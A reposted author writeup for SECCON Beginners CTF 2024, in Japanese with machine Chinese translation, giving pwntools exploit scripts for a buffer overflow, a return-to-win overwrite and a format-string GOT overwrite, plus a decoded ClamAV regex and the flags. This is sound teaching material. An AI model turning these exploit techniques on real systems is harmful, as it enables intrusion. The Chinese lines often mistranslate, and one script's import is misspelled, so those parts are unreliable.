SECCON Beginners CTF 2024 作問者Writeup

WriteUp 3个月前 admin
71 0 0

Writeup 撰写

作問者Writeupは正解という訳では無く、あくまで一例です。皆様独自のWriteupをお待ちしております。
写不是正确答案,它只是一个例子。 我们期待您自己的文章。

Pwn

simpleoverflow 简单溢出

自明なオーバーフローです 这是一个微不足道的溢出

Solve数がWelcomeに続いてデカくて嬉しいです
我很高兴在欢迎之后解决的数量很大

#!/usr/bin/env python3
from wn import context, ELF, remote
import os

HOST = os.getenv("CTF4B_HOST", "localhost")
PORT = int(os.getenv("CTF4B_PORT", "9000"))

context.log_level = "critical"
binfile = "./chall"
e = ELF(binfile)
context.binary = binfile

p = remote(HOST, PORT)

payload = b"a" * 0x10
assert len(payload) <= 0x10

p.sendlineafter(b"name:", payload)
p.readline()
print(p.readline().decode(), end="")

問題文に書いたとおり、Cでは0以外の値がTrueとして扱われます。bufis_adminはスタック上で連続しているので、bufのサイズよりも大きな文字列を投げるとis_adminが書き換わります。
如问题陈述中所述,C 将非零值视为 True。 buf 并且 is_admin 在堆栈上是连续的,因此抛出大于 is_admin buf 的字符串将导致重写。

flag: ctf4b{0n_y0ur_m4rk} 旗: ctf4b{0n_y0ur_m4rk}

simpleoverwrite 简单覆盖

こちらも自明にBOFです 这也是不言自明的 BOF

buf[10]に対し、read(0, buf, 0x20)しています。また、flag.txtを読み出してくれるwin関数が用意されています。
buf[10] 相反,它 read(0, buf, 0x20) 确实如此。 flag.txt 还有一个 win 函数读取 。

[0x004010a0]> iI |rg '(canary|pic)'
canary   false
pic      false

canaryもpicも無いので、リターンアドレスをwinにしましょう。
由于没有金丝雀或图片,让我们将返回地址设置为获胜。

#!/usr/bin/env python3
from pwn import context,ELF,remote,p64
import os

HOST = os.getenv("CTF4B_HOST", "localhost")
PORT = int(os.getenv("CTF4B_PORT", "9001"))

context.log_level = "critical"
binfile = "./chall"
e = ELF(binfile)
context.binary = binfile

p = remote(HOST, PORT)

payload = b"a" * 18 + p64(e.sym["win"])
assert len(payload) <= 0x20

p.sendlineafter(b"input:", payload)
p.readline()
p.readline()
print(p.readline().decode(), end="")

flag: ctf4b{B3l13v3_4g41n} 旗: ctf4b{B3l13v3_4g41n}

pure_and_easy

FSBです。またFSBでSolveが一気に減った
前端安全板。 此外,FSB 中的求解数量也立即减少

[0x004010c0]> iI | rg relro
relro    partial

winがあり、自明なFSBもある上、RELROがPartialなのでGOT Overwriteします
win 还有一个不言自明的 FSB,而 RELRO 是部分的,所以它得到了覆盖

#!/usr/bin/env python3
from pwn import context, ELF, process, FmtStr, fmtstr_payload, remote
import os

HOST = os.getenv("CTF4B_HOST", "localhost")
PORT = int(os.getenv("CTF4B_PORT", "9000"))

context.log_level = "critical"
binfile = "./chall"
context.binary = binfile
e = ELF(binfile)


def exec_fmt(payload):
    p = process(binfile)
    p.sendline(payload)
    return p.readline()


autofmt = FmtStr(exec_fmt)
offset = autofmt.offset

got_puts = e.got['exit']
win = e.sym['win']

payload = fmtstr_payload(offset, {got_puts: win})
p = remote(HOST, PORT)
p.sendlineafter(b'> ', payload)
p.recvuntil(b'ctf4b')
print('ctf4b'+p.readline().decode('utf-8', 'ignore'), end='')

flag: ctf4b{Y0u_R34lly_G0T_M3} 旗: ctf4b{Y0u_R34lly_G0T_M3}

clamre 蛤蜊

去年はYaraだったので今年はClamAVです。
去年是雅苒,所以今年是 ClamAV。

Miscの問題数が少なかったのでひねり出しました。
杂项问题的数量很少,所以我扭曲了它。

ClamAVのシグネチャを知ってほしかったのと、脳内正規表現エンジンを育ててほしかったという願望があります。
我想让人们知道 ClamAV 签名,我希望他们在我的大脑中开发一个正则表达式引擎。

が、まぁクソ面倒な問題なので後回しだと思います。
但我认为这是事后的想法,因为这是一个麻烦的问题。

ClamAVのシグネチャについてはいくつか種類があり、ldbではPCREが使えます。
有几种类型的 ClamAV 签名,您可以将 PCRE 与 ldb 一起使用。

ClamoraFlag;Engine:81-255,Target:0;1;63746634;0/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/

要はこれにマッチする文字列がFlagなので、気合で読みます。
总之,与此匹配的字符串是 Flag,所以我热情地阅读了它。

キャプチャが大量に使われているので、横に数付けて読みやすくすると
由于使用了很多验证码,如果你在侧面添加一个数字以使其更容易阅读,

1: (
2:     (\x63\x74\x66)   "ctf"
3:     (4)              "4"
4:     (\x62)           "b"
5:     (\{B)            "{B"
6:     (\x72)           "r"
7:     (\x33)           "3"
       \3               "4"
8:     (\x6b1)          "k1"
9:     (\x6e\x67)       "ng"
10:    (\x5f)           "_"
       \3               "4"
11:    (\x6c)           "l"
       \11              "l"
       \10              "_"
12:    (\x54\x68)       "Th"
       \7               "3"
       \10              "_"
13:    (\x480)          "H0"
14:    (\x75)           "u"
15:    (5)              "5"
       \7               "3"
       \10              "_"
16:    (\x52)           "R"
       \14              "u"
       \11              "l"
       \7               "3"
17:    (5)              "5"
       \}               "}"
   )

という感じです 这就是它的感觉

他のdbについても読み方をブログにしていきたいと思っています。
我想写一篇关于如何阅读其他数据库的博客。

hashdbはここ、あとldbの他のフォーマットについては社のテックブログで触れました。
Hashdb 就在这里,LDB 的其他格式在该公司的技术博客中有所提及。

flag: ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35} 旗: ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}

感想

難しいという意見をいただきますが、CTFに最初に参加するような初心者の場合は各ジャンルのBeginnerだけでも解ければすごいと思います。
我们听说这很困难,但如果你是第一个参加 CTF 的初学者,我认为如果你能用每种类型的初学者来解决它,那就太棒了。

逆に、何年もやっている人はそれぞれ自分の得意・好きなジャンルでMedium程度まで解ければ十分初心者を脱しているんじゃないかと思います。
另一方面,如果你已经做了很多年,我认为如果你能用自己的专业和最喜欢的类型把它解决到中等,你就足以摆脱初学者。

Beginnersなので全部の問題を簡単な方に倒しても誰も怒らないとは思うんですが、そこまで簡単な問題はCpawやPicoCTFにたくさん落ちていると思うので、まぁ。
由于我是初学者,如果我把所有问题都打到简单的问题,我认为没有人会生气,但我认为这么简单的问题落在了 Cpaw 和 PicoCTF 身上,所以先生/女士。

常設やりたいですよね。 你想让它永久化,不是吗?

原文始发于feneshi:SECCON Beginners CTF 2024 作問者Writeup

版权声明:admin 发表于 2024年6月18日 上午10:45。
转载请注明:SECCON Beginners CTF 2024 作問者Writeup | CTF导航

相关文章